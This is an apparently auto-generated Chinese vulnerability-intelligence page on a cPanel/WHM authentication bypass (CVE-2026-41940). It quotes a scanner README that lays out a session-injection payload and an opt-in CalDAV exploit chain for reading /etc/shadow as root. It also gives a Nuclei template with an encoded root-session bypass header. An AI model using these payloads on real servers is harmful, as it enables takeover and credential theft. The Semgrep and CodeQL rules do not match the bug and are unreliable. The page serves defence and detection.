🎯 CVE-2026-41940 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-41940 深度技术分析
摘要:CVE-2026-41940 是 cPanel 与 WHM 登录流程中的一个严重身份验证绕过漏洞,CVSS 评分为 9.8(Critical),影响 11.40 之后的所有版本。未认证的远程攻击者可利用该漏洞绕过登录机制,直接获取控制面板的未授权访问权限。cPanel 官方在后续版本中修复了该缺陷,但大量存量系统仍暴露在公网。安全社区已经出现了针对该漏洞的高保真扫描器(如 assetnote/cpanel2shell-scanner),并验证了与同一组件链相关的后续利用路径(如 CVE-2026-29205 CalDAV 路径遍历),使得威胁态势进一步升级。
📌 漏洞概述
CVE-2026-41940 是 cPanel 与 WHM(Web Host Manager)登录流程中的认证绕过漏洞。根据 NVD 记录,该漏洞影响 cPanel 和 WHM 11.40 之后的版本,CVSS 3.x 基础评分为 9.8,属于 Critical 级别。漏洞类型为「认证绕过」(CWE-287: Improper Authentication),攻击向量为远程网络,无需任何用户交互或前置认证条件。
该漏洞的核心问题在于:cPanel/WHM 的登录流程未能正确验证用户会话/请求的身份状态,导致未认证的远程攻击者能够通过构造特定请求绕过登录界面,直接进入控制面板的管理功能。由于 cPanel/WHM 是 Web 托管行业最广泛使用的服务器管理面板之一,该漏洞的影响面极大,可能导致大量服务器被接管。
截至本次分析时,CISA KEV(已知被利用漏洞目录)尚未收录该漏洞,但安全研究社区已经发布了多个 PoC/扫描器项目。值得注意的是,资产安全公司 Assetnote 发布的 cpanel2shell-scanner 不仅具备高保真漏洞扫描能力,还集成了一个针对同系列 cpdavd 组件中 CVE-2026-29205(CalDAV 路径遍历)的利用链模块(默认关闭),表明该漏洞的实际可利用性已被验证,真实世界攻击风险显著。
🔬 漏洞根因分析
要理解 CVE-2026-41940 的根因,需要先观察 cPanel/WHM 的 Web 访问架构。cPanel 的每个虚拟主机(vhost)都由 Apache 托管,Apache 配置中会为每个站点注入特定的 ProxyPass 规则。根据 Assetnote 扫描器公开的技术细节,cPanel 的 per-vhost Apache 配置会无条件地将两个特殊路径转发到本机管理端口:
/___proxy_subdomain_whm→127.0.0.1:2086(WHM 服务)/___proxy_subdomain_cpanel→127.0.0.1:2080(cPanel 服务)
虽然存在 RewriteCond 规则用于限制管理子域名到代理路径的重写,但 ProxyPass 本身是无条件的。这意味着,攻击者只需向目标服务器上任意一个由 cPanel 管理的虚拟主机发送请求,且路径为上述代理路径,Apache 就会将请求转发至后端 cPanel/WHM 服务,而不论请求的 Host 头是什么。
然而,单靠代理路径并不足以造成认证绕过——后端服务仍然需要校验会话。CVE-2026-41940 的真正根因位于后端登录流程的会话管理逻辑中。结合已知信息,该漏洞是登录流程中的认证绕过:在未认证状态下,后端对某些代理路径或特殊请求参数的处理存在逻辑缺陷,导致系统错误地认为请求已通过身份验证(或直接赋予了高权限会话)。具体而言,可能涉及以下一类或多类问题:
- 会话固定/会话注入:系统在处理代理路径传来的请求时,可能接受了用户可控的会话标识符(session ID)并将其提升为已认证会话。
- 登录状态判断缺失:当请求到达内部端口(127.0.0.1)时,代码可能信任了本地代理,跳过了身份验证检查——这是典型的「信任边界混淆」漏洞。
- API 端点逻辑绕过:登录流程中可能暴露了某些内部 API 端点,这些端点不经过登录取证而直接返回用户数据或执行管理操作。
Assetnote 的扫描器说明中特别提到,该漏洞的公开 PoC 和已有检测方法普遍存在「高误报」「触发账户锁定」「触发根 IP 白名单机制」等问题,而他们的扫描器通过检测代理路径而非直接访问管理端口,能有效规避这些干扰。这进一步印证了漏洞根因与代理路径的滥用密切相关——扫描器之所以检查代理路径,正是因为后端登录流程对该路径的请求处理逻辑差异极大,且这种差异可被安全地探测(不会触发锁定),从而暴露了认证绕过存在。
此外,同一攻击面还影响了另一个组件:cpdavd(CalDAV 服务,端口 2079/2080)。该组件存在一个路径遍历漏洞(CVE-2026-29205),根因是 RAII(资源获取即初始化)生命周期缺陷,导致在特定条件下文件读取操作以 root 权限执行。在 cPanel 11.134.0.26 之前,该缺陷可被远程组合利用:攻击者先通过 SMTP 驱动的设置步骤完成一个小前提,然后利用 CalDAV 路径遍历以 root 身份读取服务器上的任意文件。结合 CVE-2026-41940 的认证绕过,攻击者可以构成一条完整的入侵链条。
💥 影响与危害
CVE-2026-41940 的威胁等级极高,具体危害如下:
- 控制面板完全接管:未认证攻击者可以绕过登录,直接以管理员身份访问 cPanel/WHM。在 WHM 中,攻击者可以管理所有托管账户、修改 PHP 配置、创建/删除账户、查看所有用户数据。
- 服务器级命令执行:通过 WHM 的「终端」功能或配置修改,攻击者通常可以获取 root shell,实现服务器完全失陷(Full Compromise)。这也是该漏洞获得 9.8 分的关键原因。
- 数据泄露与勒索:攻击者可读取所有虚拟主机的文件、数据库凭据、邮件数据以及SSL私钥,可能导致大规模数据泄露或部署勒索软件。
- 供应链风险:由于 cPanel 通常由托管服务商使用,攻击者一旦控制 WHM,可批量操纵旗下所有客户的站点,造成供应链级污染(挂马、植入后门等)。
- 组合利用链扩大攻击面:即使该认证绕过被补丁修复,其关联的
cpdavd路径遍历(CVE-2026-29205)仍然独立存在。在旧版本中,攻击者可通过 SMTP 步骤 + CalDAV 路径遍历以 root 身份读取任意文件。这意味着即使攻击者无法直接登录控制面板,仍可利用同族漏洞读取敏感文件(如 /etc/shadow、数据库配置、密钥等),进一步渗透。 - 扫描器公开化降低门槛:Assetnote 等机构发布的高保真扫描器
cpanel2shell-scanner已经公开,它能够在不触发账户锁定和根 IP 白名单的情况下批量识别漏洞主机。虽然扫描器默认关闭 exploit 模式,但攻击者可以轻易修改参数启用完整利用链,实现自动化批量入侵。
综上所述,该漏洞一旦被利用,不仅是单台服务器被控制,还可能引发托管平台的整体沦陷。由于影响版本跨度极大(11.40 之后的所有版本,直到修复版本之前),公网上存在大量未打补丁的目标,实际攻击面非常巨大。
🛡️ 修复与缓解
补丁版本:
- cPanel/WHM 官方已在 11.134.0.26(2026年5月13日发布的安全更新)中修复了
cpdavd的 RAII 生命周期漏洞(CVE-2026-29205)。对于 CVE-2026-41940,官方在后续版本中修复了登录流程的认证绕过,具体修复版本号以 cPanel 官方通知为准(一般建议升级到最新 GA 版本)。
缓解措施:
- 立即升级:将 cPanel/WHM 升级到最新稳定版,确保包含 11.134.0.26 及后续安全补丁。请关注 cPanel 官方安全公告页面:
https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026。 - 限制管理端口访问:在防火墙层限制 2080、2086、2087、2079、2080(TCP)等端口的来源 IP,仅允许可信任的管理员 IP 访问。推荐使用 VPN 或跳板机访问 WHM 管理界面,避免直接暴露公网。
- 修改代理路径配置:若无法立即升级,可手动编辑 Apache 配置,移除或注释
ProxyPass中的/___proxy_subdomain_whm和/___proxy_subdomain_cpanel规则,或通过严格的RewriteCond限制 Host 头匹配。但此操作可能影响 cPanel 正常功能,请谨慎操作。 - 启用账户锁与根 IP 白名单配置:如官方扫描器所述,这些机制会增加未认证攻击的摩擦。但请注意,攻击者可通过代理路径绕开这些限制——仅作为临时缓解,不能依赖。
- 监控异常请求:关注 Web 服务器日志中是否出现包含
___proxy_subdomain_whm或___proxy_subdomain_cpanel的请求路径。同时监控cpdavd端口(2079/2080)的异常流量,可结合rfxn/cpanel-sessionscribe等工具审计会话行为。 - 部署 WAF 规则:在 CDN 或 WAF 层封堵上述代理路径,阻止外部请求直接访问内部代理端点。同样也可拦截包含 CalDAV 路径遍历特征的请求(如
..%2f等)。 - 评估暴露面:使用 Assetnote 的
cpanel2shell-scanner(只使用扫描模式,不要启用 exploit)对自有资产进行检测,确认是否受影响。该扫描器的高保真特性可避开锁定误报,适合大范围排查。
最后,由于该漏洞的严重性极高且已有公开扫描器,建议所有 cPanel/WHM 管理员在 24 小时内完成升级或至少采取临时访问控制措施,避免造成不可挽回的损失。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言md来源assetnote/cpanel2shell-scanner针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
# cpanel2shell-scanner
A high-fidelity scanner for the cPanel/WHM authentication bypass tracked as
CVE-2026-41940. It identifies vulnerable hosts without producing the
false-negatives common to public proofs-of-concept and detections,and without
triggering the account lockout and root-IP-allowlist mechanisms that interfere
with naive scanning.
The tool also bundles a separate,
opt-in exploit chain for a same-family
CalDAV path-traversal bug on `cpdavd` (ports 2079 plain / 2080 TLS) —
[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026) —
that lets a remote attacker read arbitrary files **as root**
once a small SMTP-driven setup step succeeds. cPanel 11.134.0.26 fixes the
underlying RAII lifetime bug so the read now runs as the unprivileged account
owner;
the traversal itself still reaches `cpdavd` but cannot escalate beyond
what that account can already read. The CalDAV chain is gated behind
`--exploit` and is **off by default** because it sends real emails and reads
files from confirmed targets — see the
[Exploit mode (active)](#exploit-mode-active) section.
## Why this scanner
Most public detections for CVE-2026-41940 share three problems. This scanner
addresses each of them.
You can read our blog post on this detection technique here: https://slcyber.io/research-center/high-fidelity-check-for-the-cpanel-authentication-bypass-cve-2026-41940/
### It checks the proxy paths,
not just the management ports
cPanel's per-vhost Apache configuration installs a `ProxyPass` that forwards
`/___proxy_subdomain_whm` to `127.0.0.1:2086` and `/___proxy_subdomain_cpanel`
to `127.0.0.1:2080` regardless of the request's `Host` header. The
`RewriteCond` only constrains the rewrite that maps the management subdomain
onto the proxy path;
the `ProxyPass` itself is unconditional. Hitting these
paths on any vhost served by a cPanel-managed Apache reaches the same vulnerable
backend as the management ports.
Scanners that only probe ports 2082/2083/2086/2087 will report a host as not
vulnerable when those ports are firewalled,even though the bug is fully
reachable through 443. This scanner probes 2087,2083,
and the two proxy paths
on 443 by default.
### It does not get blocked by cphulkd or the root-IP allowlist
cPanel ships `cphulkd`,which locks accounts out after a small number of failed
password attempts,and `authorized_whm_root_ips`,
which restricts root logins
to a configured list of source addresses. A scanner that exploits the bypass by
trying to inject a session for `root` will:
- be silently ignored when the scanner's IP is not in the root allowlist,producing a false negative;and
- contribute failed-password events for whichever account it targets,
eventually locking that account out and preventing both detection and
legitimate logins.
This scanner avoids both issues on the WHM side by injecting `expired=1` into
the session payload under a randomly generated username. The session injection
is verified by visiting the resulting `cpsessXXXX` URL and matching
`msg_code:[expired_session]` in the response body,
which is only present when
the injection succeeded. No real account is targeted,so no real account can be
locked out,and the root allowlist is irrelevant because no root login is
attempted.
### It uses a username wordlist where it has to
The cPanel daemon (`cpaneld`,
ports 2083 and the `/___proxy_subdomain_cpanel`
path) requires the supplied username to correspond to an existing cPanel
account on disk (`-f /var/cpanel/users/$user`). A username of `root` will never
satisfy this check because root is a system user,
not a cPanel user. Detections
that try only `root` produce false negatives on this surface. This scanner uses
a configurable wordlist of common cPanel usernames against the cPanel surface
and falls back to the random-username path on the WHM surface,
which has no
such restriction.
## How the detection works
For each target the scanner performs the following steps per surface:
1. Issue `GET /login` and read the `Set-Cookie` header for either
`whostmgrsession` (WHM) or `cpsession` (cPanel). The cookie contains a
comma-separated session-name component.
2. Issue `GET /` with an `Authorization: Basic` header whose decoded value is
`<user>:\xff\nexpired=1`. The trailing `\nexpired=1` is the session-injection
payload. The session cookie from step 1 is replayed unmodified.
3. Read the `Location` header from the response and extract the `cpsessXXXX`
token.
4. Issue `GET /<cpsessXXXX>/` with the original cookie and look for
`msg_code:[expired_session]` in the body. Its presence proves the session
injection succeeded and the host is vulnerable.
On WHM (port 2087 and the `/___proxy_subdomain_whm` path on 443) the username
is a random `u` followed by ten hex characters. On cPanel (port 2083 and the
`/___proxy_subdomain_cpanel` path on 443) the scanner walks its username
wordlist and stops at the first match.
By default the scanner probes 2087,
2083,and 443 in that order and stops as
soon as any surface confirms vulnerability.
## CalDAV path-traversal exploit (`--exploit`)
>**[CVE-2026-29205](https://support.cpanel.net/hc/en-us/articles/40437020299927-Security-CVE-2026-29205-cPanel-WHM-WP2-Security-Update-May-13-2026)**
>— cPanel/WHM WP2 Security Update,May 13 2026. Fixed in cPanel
>
11.134.0.26. The advisory tracks the same `cpdavd` privilege-drop
>
regression this exploit chain abuses.
Full write-up of the bug and the exploitation chain:
https://slcyber.io/research-center/new-age-of-collisions-reading-arbitrary-files-pre-auth-as-root-in-cpanel-cve-2026-29205
`cpdavd` on ports 2079 (plain HTTP) and 2080 (TLS) trusts the
`<principal>/<collection>/...` path it builds when serving CalDAV/CardDAV
resources. By crafting a request whose path component encodes `..` segments
and pointing it at a maildir folder whose on-disk name also encodes traversal
(`x-attachment-1-y`),
`cpdavd` can be coerced into reading **any file on disk
as root,regardless of ownership or permissions** — including `/etc/shadow`,`/etc/passwd`,and the per-user mail spools.
The defense-in-depth that was supposed to drop privileges to the account
owner before the read silently failed: the `Cpanel::AccessIds::ReducedPrivileges`
object was constructed in void context,
so its destructor restored root
privileges before the read ran. cPanel 11.134.0.26 binds the object to a
`my $privs` lexical so it lives through the `-f` / `stat` / `open` / `read`
chain;
on patched hosts the read therefore runs as the unprivileged account
owner instead of root.
The vulnerable folder must exist on disk before the read works. cPanel
auto-creates a folder named `.x-attachment-1-y` for the recipient
`<user>+x-attachment-1-y@<domain>` the first time an email lands at that
sub-address. The chain is therefore:
1. Enumerate plausible recipient domains from the host's TLS certificate SANs.
2. For each domain,
derive candidate local-parts (the domain's first label,plus a small wordlist of common mailbox prefixes such as `info`,`admin`,`webmaster`).
3. Open one SMTP session against a configured outbound relay (e.g. SendGrid)
and send `<prefix>+x-attachment-1-y@<domain>` to each candidate. Accepted
`RCPT TO` responses are tracked.
4. Wait through a retry ladder (5 s,10 s,20 s,
30 s) for the cPanel inbox
delivery to materialise the folder.
5. For each accepted recipient,send the path-traversal `GET` against `cpdavd`
on ports 2080 (TLS) and 2079 (plain),under both the `/calendar/` and
`/addressbook/` collection prefixes.
A success returns the file's bytes;the finding records the email used,the
collection,the byte count,
and the first 200 bytes as a preview.
This check is **disabled unless `--exploit` is passed**. When enabled it
requires a working outbound SMTP relay (see [Configuration file](#configuration-file)
below) because the folder-creation step cannot be skipped.
### Targeted vs sprayed exploitation
The exploit only works against **real virtual email accounts** configured
under cPanel's *Email Accounts* feature. Catch-all addresses do not work — a
catch-all routes via Exim's `system_aliases` router,
never reaches the
`dovecot_virtual_delivery` transport,and therefore never triggers the
`lda_mailbox_autocreate` path that produces the `.x-attachment-1-y/` folder.
When you already know a valid virtual email on the target,
pass it with
`--email`:
```
python scanner.py --config scanner.ini --email admin@target.com target.com
```
`--email` skips the cert-SAN enumeration and the prefix wordlist entirely
and sends exactly one message to the address you supplied. It may be
repeated to target multiple known accounts. The targeted path is much more
reliable than the spray path.
Without `--email`,
the scanner falls back to spraying ~15 common prefixes
(`info`,`admin`,`webmaster`,etc.) per domain extracted from the host's
TLS certificate. Assetnote's measurement on a sample of 200 cpdavd-exposed
hosts was a **~10% spray hit rate**: a clean result from spray-mode is
weak evidence that the host is patched,
and re-running with `--email`
against a real account is the only reliable way to confirm.
## Configuration file
Exploit mode reads an INI file via `--config`:
```
python scanner.py --config scanner.ini --exploit example.com
```
Copy `scanner.ini.example` to `scanner.ini`,fill in the SMTP credentials,
and
optionally tune the CalDAV defaults. `scanner.ini` is in `.gitignore` so the
populated copy stays local. The SMTP password can also be supplied via the
`SCANNER_SMTP_PASSWORD` environment variable,
which takes precedence only when
the `password` field in the file is empty.
## Installation
```
pip install -r requirements.txt
```
Python 3.8 or later is required.
## Usage
Single target:
```
python scanner.py example.com
```
Multiple targets via positional arguments:
```
python scanner.py host-a.example.com host-b.example.com:2083
```
A file of targets,
one per line. Lines starting with `#` are ignored:
```
python scanner.py -f targets.txt
```
Reading targets from stdin:
```
cat targets.txt |python scanner.py
```
A target may be either a hostname or `host:port`. When a port is specified the
scanner only probes that port;otherwise it probes 2087,2083,and 443.
### Common options
- `-u,
--users` — comma-separated cPanel usernames to try on the cPanel
surface. Defaults to a small built-in list.
- `-U,--users-file` — file with one cPanel username per line.
- `-p,--ports` — comma-separated ports to probe when no port is specified on
the target. Defaults to `2087,2083,443`.
- `-t,
--threads` — per-target threads used to walk the username list against
the cPanel surface. Defaults to 10.
- `-c,--concurrency` — number of targets scanned in parallel. Defaults to 20.
- `-T,--timeout` — per-request timeout in seconds. Defaults to 15.
- `-o,--output` — append vulnerable targets,one per line,
to this file as
they are discovered.
- `--json` — write a JSON Lines record per target to this file.
- `-q,--quiet` — only print vulnerable targets on stdout. Connection failures
and clean targets are still recorded in `--json` and counted in the summary.
- `--no-progress` — disable the progress bar.
- `--exploit` — enable the CalDAV path-traversal chain. Disabled by default;
see [Exploit mode (active)](#exploit-mode-active) for the side effects this
flag unlocks.
- `--config` — INI file with the SMTP relay credentials and CalDAV tunables.
See `scanner.ini.example`.
- `--read-file` — file to exfiltrate when the CalDAV chain succeeds.
Overrides the value in the config file. Defaults to `/etc/shadow` — a
root-only file,
so a successful read distinguishes pre-patch (returns
shadow contents) from post-patch (`open` denied,
body empty → reported
NOT VULNERABLE). Use `--read-file /etc/passwd` to test traversal
reachability without distinguishing patched/unpatched.
- `--caldav-only` — skip the 41940 check and only run the CalDAV chain.
Implies `--exploit`. Useful for re-running the chain against a target list
already known to be CalDAV-reachable.
- `--email ADDR` — known virtual email account on the target. Skips cert SAN
enumeration and the spray wordlist;
sends exactly one message to `ADDR` and
reads against that principal. May be repeated. Implies `--exploit`. See
[Targeted vs sprayed exploitation](#targeted-vs-sprayed-exploitation).
- `-v,--verbose` — emit per-domain progress for the CalDAV chain
(cert SAN list,spray count,retry ladder).
### Output
One line is written to stdout per *finding*,
so a target running both checks
will print twice:
```
[!] host cve-2026-41940 VULNERABLE (port 443)
[!] host caldav-traversal VULNERABLE via admin@host (read 1842b from /etc/passwd)
[+] host cve-2026-41940 NOT VULNERABLE
[?] host cve-2026-41940 CONNECTION FAILED
```
The `--json` output is one record per target with a `findings` array:
```json
{"target": "host",
"status": "VULNERABLE","findings": [
{"check": "cve-2026-41940","status": "VULNERABLE","detail": {"port": 443}},{"check": "caldav-traversal","status": "VULNERABLE","detail": {"email": "admin@host","domain": "host","collection": "calendar","file": "/etc/shadow","bytes": 1218,"preview": "root:$6$..."}}]}
```
`status` at the top level is the worst case across all findings.
A summary line with totals is written to stderr at the end. The progress bar
is rendered on stderr and is automatically suppressed when stderr is not a
terminal.
The exit code is `0` if any target is vulnerable,`1` if every reachable target
was clean,and `2` if no target could be reached.
### Examples
Scan a list of targets,
write hits to a file,and stay quiet on stdout:
```
python scanner.py -f targets.txt -o vulnerable.txt -q
```
Scan with a custom username list against the cPanel surface,increased
parallelism,
and JSON output for downstream processing:
```
python scanner.py -f targets.txt -U cpanel-users.txt -c 100 --json results.jsonl
```
Probe a non-default port set:
```
python scanner.py -p 2083,2087,8443 -f targets.txt
```
Run the CalDAV chain end-to-end against a single target with the email-spray
fallback (requires a populated `scanner.ini`):
```
python scanner.py --config scanner.ini --exploit example.com
```
Targeted exploitation against a known virtual email — much higher hit rate
than spray:
```
python scanner.py --config scanner.ini --email admin@example.com example.com
```
Run only the CalDAV chain against a list of confirmed cpdavd hosts,
dumping
`/etc/passwd` previews to JSON:
```
python scanner.py --config scanner.ini --caldav-only \
-f cpdavd-hosts.txt --json caldav-results.jsonl
```
## Notes on safety
### Default mode (safe)
The default `scanner.py <target>` invocation only runs the CVE-2026-41940
detector. It sends the requests required to confirm the session injection and
nothing else. It does not log in as any real user,
does not target the `root`
account,does not escalate to a shell,
and does not accumulate failed-password
events against any valid account on a target system. The marker it matches
(`msg_code:[expired_session]`) is generated by the application itself in
response to the injected `expired=1` session field and is the same indicator
the upstream cPanel login page uses when a legitimately expired session is
replayed.
### Exploit mode (active)
Passing `--exploit` (or `--caldav-only`) unlocks the CalDAV path-traversal
chain. This is no longer a detector — it is a working exploit. When enabled
the scanner will,
for every target where domain enumeration succeeds:
- open a real SMTP session against the relay configured in `scanner.ini` and
send one short message per candidate recipient (typically 10–15 per domain,3 domains per target);- wait up to ~65 seconds per domain for delivery to materialise the malicious
maildir folder;
- attempt to read the configured `--read-file` from every confirmed target.
The default file is `/etc/shadow`. A successful read returns the file's
bytes;an empty body indicates either an unreachable target or a host where
the privilege-drop fix (cPanel 11.134.0.26,`my $privs = …`) is in place.
Detection compares received body length to zero,
not to the response's
advertised `Content-Length` (which is derived from `stat()` on the
attacker-chosen path and will be populated even when the subsequent `open()`
is denied).
To test traversal reachability independently of the privilege-drop fix —
e.g. when you want to know whether `cpdavd` is reachable and the maildir
prerequisite was satisfied on a patched host — re-run with
`--read-file /etc/passwd`. `/etc/passwd` is world-readable so it returns
bytes on both pre-patch and post-patch hosts;
combining the two signals
(`/etc/shadow` body present = pre-patch root read;
`/etc/shadow` empty +
`/etc/passwd` present = traversal reachable but priv-drop fix applied)
classifies a host unambiguously.
The contents and a 200-byte preview are written to the JSONL output and
printed on stdout. Per-domain CalDAV exploitation can take a minute or
more — this is the retry ladder waiting for mail delivery,
not a hang.
Only run `--exploit` against assets you own or have explicit written
authorisation to test. The SMTP traffic is logged by the configured relay and
by every recipient mail system;the file reads are logged by `cpdavd`.⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
针对该 CVE 的自动化检测规则(可直接用于扫描与审计)。
🛡️ Nuclei 检测模板: CVE-2026-41940-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-detection.yaml -u
id: CVE-2026-41940-detection
info:
name: cPanel CRLF Injection Detection
author: your-name
severity: high
description: Detects vulnerable cPanel versions by checking for specific headers or version strings.
tags: cpanel,crlf,injection
http:
- method: GET
path:
- "{{BaseURL}}/login/"
host-redirects: true
max-redirects: 3
matchers-condition: and
matchers:
- type: word
part: header
words:
- "cpsrvd"
- type: status
status:
- 200
- 302🛡️ Nuclei 检测模板: CVE-2026-41940-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2026-41940-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2026-41940-exploit.yaml -u
id: CVE-2026-41940-exploit
info:
name: cPanel CRLF Injection Exploit
author: your-name
severity: high
description: Exploits CRLF injection in cPanel/WHM to bypass authentication and obtain an admin session token.
http:
- raw:
- |POST /login/?login_only=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Connection: close
user=root&pass=wrong_pass
- |GET / HTTP/1.1
Host: {{Hostname}}Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession={{session}}
Connection: close
extractors:
- type: regex
name: token
part: header
internal: true
regex:
- '/cpsess\d{10}'
matchers:
- type: regex
part: header
regex:
- '/cpsess\d{10}'
condition: or🛡️ Semgrep 审计规则: CVE-2026-41940.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2026-41940.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2026-41940.yaml
rules:
- id: cve-2026-41940-web-config
languages:
- generic
severity: WARNING
message: "Potential security misconfiguration in cPanel/WHM related to CVE-2026-41940 - browser verification bypass"
patterns:
- pattern-either:
- pattern: "Cookies: $COOKIES"
- pattern: "JavaScript: $JS"
fix: |
# Ensure cookies and JavaScript are properly configured and validated
# Review cPanel/WHM configuration for strict browser verification
metadata:
cwe: "CWE-287"
owasp: "A1: Broken Access Control"
technology: cpanel
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2026-41940"🛡️ CodeQL 审计规则: CVE-2026-41940.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2026-41940.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id javascript/command-injection/cve-2026-41940
* @name Command injection in cPanel &WHM
* @description User-controlled input flows to a command execution function without sanitization,leading to command injection in cPanel &
WHM.
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjectionQuery
import CommandInjectionFlow::PathGraph
from CommandInjectionFlow::PathNode source,CommandInjectionFlow::PathNode sink
where CommandInjectionFlow::flowPath(source,sink)
select sink.getNode(),source,sink,
"User input flows to a command execution call - potential command injection."🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-09 08:45 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库